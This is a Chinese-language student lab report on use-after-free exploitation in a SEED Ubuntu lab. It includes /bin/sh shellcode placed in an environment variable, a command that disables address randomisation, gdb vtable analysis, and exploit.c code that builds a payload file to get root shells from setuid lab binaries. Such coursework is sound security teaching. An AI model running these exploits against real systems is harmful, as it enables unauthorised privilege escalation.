

CLASS 12

UAF Lab

吴瑞欣-E41614059

0、UAF 漏洞讲解：

1. 【UAF】分配的内存释放后，指针没有因为内存释放而变为 NULL，而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。

2. 【UAF 利用】

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针，让填充的数据使 eip 发生跳转。

3. 【malloc】

大于 512 字节的请求，是纯粹的最佳分配，通常取决于 FIFO，就是最近使用过的。

小于 64 字节的请求，这是一个缓存分配器，保持一个快速的再生池块。

在这个两者之间的，对于大的和小的请求的组合，做的最好的是通过尝试，找到满足两个目标的最好的。

对于特别大的字节，大于 128KB，如果支持的话，依赖于系统内存映射设备。

4. 【虚函数】

虚函数，一旦一个类有虚函数，编译器会为此类建立一张 vtable。子类继承父类（vtable）中所有项，当子类有同名函数时，修改 vtable 同名函数地址，改为指向子类的函数地址，子类有新的虚函数时，在 vtable 中添加。记住，私有函数无法继承，但如果私有函数是虚函数，vtable 中会有相应的函数地址，所有子类可以通过手段得到父类的虚私有函数。

一、uaf1

1、首先，关闭栈保护

`sudo sysctl -w kernel.randomize_va_space=0`

2、将 shellcode 写入环境变量并打印地址

`//get.c 获取环境变量地址`

`//export EGG=`perl -e 'print`

`"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

`#include <stdio.h>`

`int main(){`

`printf("%p\n", getenv("EGG"));`

`return 0;`

`}`

`[12/24/2018 07:38] seed@ubuntu:~/Desktop/12UAF$./shellcode.c`
`0xbffff67b`

3、利用 uaf 漏洞获得 root 权限

`[12/24/2018 07:38] seed@ubuntu:~/Desktop/12UAF$ uaf $(python -c "print '\x90'*24 + '\x7b\xff\x66\xff\xbf'")`
`Enter id num: 2000`
`Enter your name: 2000`
`#`

二、uaf2

Step1: 编译文件

```
g++ -o uaf2 uaf2.cpp
chmod 4755 uaf2
```

```
[12/10/2018 07:15] root@ubuntu:/home/seed/Desktop/task1# g++ -o uaf2 uaf2.cpp
[12/10/2018 07:23] root@ubuntu:/home/seed/Desktop/task1# chmod 4755 uaf2
[12/10/2018 07:23] root@ubuntu:/home/seed/Desktop/task1# ls -l
total 52
-rwxrwxr-x 1 seed seed 7197 Dec 10 06:33 get
-rw-rw-r-- 1 seed seed 100 Dec 4 18:54 get.c
-rw-rw-r-- 1 seed seed 0 Dec 4 18:53 get.c~
-rwsr-xr-x 1 root root 7416 Dec 10 06:29 uaf
-rwsr-xr-x 1 root root 13656 Dec 10 07:23 uaf2
-rwxrw-rw- 1 seed seed 5610 Dec 4 18:13 uaf2.cpp
-rwxrw-rw- 1 seed seed 699 Dec 4 18:13 uaf.c
-rwxrw-rw- 1 seed seed 356 Dec 4 18:39 软件安全通用命令.txt
[12/10/2018 07:23] root@ubuntu:/home/seed/Desktop/task1#
```

Step2: 寻找 m、n 的地址

反汇编主函数，在 m 的初始化快结束时，添加断点，观察 m 的起始地址

```
0x08048b95 <+97>: mov    %eax, (%esp)
0x08048b98 <+100>: call   0x80489a0 <_ZN5SD1Ev@plt>
0x08048ba1 <+109>: mov    %eax, (%esp)
0x08048bf7 <+195>: mov    %ebx, 0x20(%esp)
0x08048bfb <+199>: lea    0x14(%esp), %eax
0x08048bff <+203>: mov    %eax, (%esp)
0x08048c02 <+206>: call   0x80489a0 <_ZN5SD1Ev@plt>
0x08048c07 <+211>: lea    0x2f(%esp), %eax
0x08048c0b <+215>: mov    %eax, (%esp)
0x08048c0e <+218>: call   0x8048a00 <_ZNSaIcED1Ev@plt>
0x08048c13 <+223>: movl   $0x8049122, 0x4(%esp)
0x08048c1b <+231>: movl   $0x804b160, (%esp)
0x08048c22 <+238>: call   0x8048990 <_ZStlsISt11char_traitsIcEERSt13basic_o
streamIcT_ES5_PKC@plt>
0x08048c27 <+243>: lea    0x18(%esp), %eax
0x08048c2b <+247>: mov    %eax, 0x4(%esp)
```

```
(gdb) b *0x08048c0e
Breakpoint 1 at 0x8048c0e
(gdb) r
Starting program: /home/seed/Desktop/task1/uaf2

Breakpoint 1, 0x08048c0e in main ()
(gdb) i r ebx
ebx          0x804c048          134529096
```

w起始地址

Step3: 寻找 m、n 的虚表指针

```
(gdb) b *0x08048bb0
Breakpoint 1 at 0x8048bb0
(gdb) r
Starting program: /home/seed/Desktop/task1/uaf2
```

```
Breakpoint 1, 0x08048bb0 in main ()
(gdb) x/32x 0x804c020
0x804c020: 0x08049170 0x00000019 0x0804c014 0x000020fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
```

m的虚表指针

Step4: 查看虚表中的内容

我们在 w 快构造结束时查看虚表中的内容

```
(gdb) x/32a 0x08049160
0x08049160: 0x08048dfc <_ZN5Human10give_shellEv> 0x08048fb
e <_ZN5Woman9introduceEv> 0x0 0x080491a4 <_ZTI3Man>
0x08049170: 0x08048dfc <_ZN5Human10give_shellEv> 0x08048f30 <_ZN3M
an9introduceEv> 0x0 0x080491b8 <_ZTI5Human>
0x08049180: 0x08048dfc <_ZN5Human10give_shellEv> 0x08048e1
0 <_ZN5Human9introduceEv> 0x6d6f5735 0x6e61
0x08049190: 0x0804b208 <_ZTVN10__cxxabiv120__si_class_type_infoE@@CXX
ABI_1.3+8> 0x08049188 <_ZTS5Woman> 0x080491b8 <_ZTI5Human> 0x6e614d33
0x080491a0: 0x0 0x0804b208 <_ZTVN10__cxxabiv120__si_class_type_in
foE@@CXXABI_1.3+8> 0x0804919c <_ZTS3Man> 0x080491b8 <_ZTI5Human>
0x080491b0: 0x6d754835 0x6e61 0x0804b128 <_ZTVN10__cxxabiv117__
class_type_infoE@@CXXABI_1.3+8> 0x080491b0 <_ZTS5Human>
0x080491c0: 0x3b031b01 0x80 0xf 0xfffff710
0x080491d0: 0x9c 0xfffff974 0x1fc 0xfffffbe0
(gdb)
```

可以看出 give_shell 只在 introduce 前 4 个字节，也就是说我们只要把 m、w 的虚表指针减 4 即可将原本运行 introduce 转为运行 give_shell。

Step5: 生成 badfile

把 0x0804915c (指向 give_shell) 放入 badfile

```
void main(int argc, char **argv)
{
    char buffer[5];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */

    /* You need to fill the buffer with appropriate contents here */
    *(long *) &buffer[0] = 0x0804915c;
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 5, 1, badfile);
    fclose(badfile);
}
```

get_shell指针

Step6: 实施攻击

执行漏洞文件 uaf2, 选择顺序为: 3—>2—>2—>1

```
[12/10/2018 09:04] seed@ubuntu:~/Desktop/task1$ gcc -o exploit exploit.c
[12/10/2018 09:04] seed@ubuntu:~/Desktop/task1$ exploit
[12/10/2018 09:04] seed@ubuntu:~/Desktop/task1$ uaf2 4 badfile
1. use
2. after
3. free
3      —————> delete m,w
1. use
2. after
3. free
2      —————> 使w虚表指针指向get_shell
your data is allocated
1. use
2. after
3. free
2      —————> 使m虚表指针指向get_shell
your data is allocated
1. use
2. after
3. free
1
#      —————> 执行m的introduce (实际上是get_shell)
```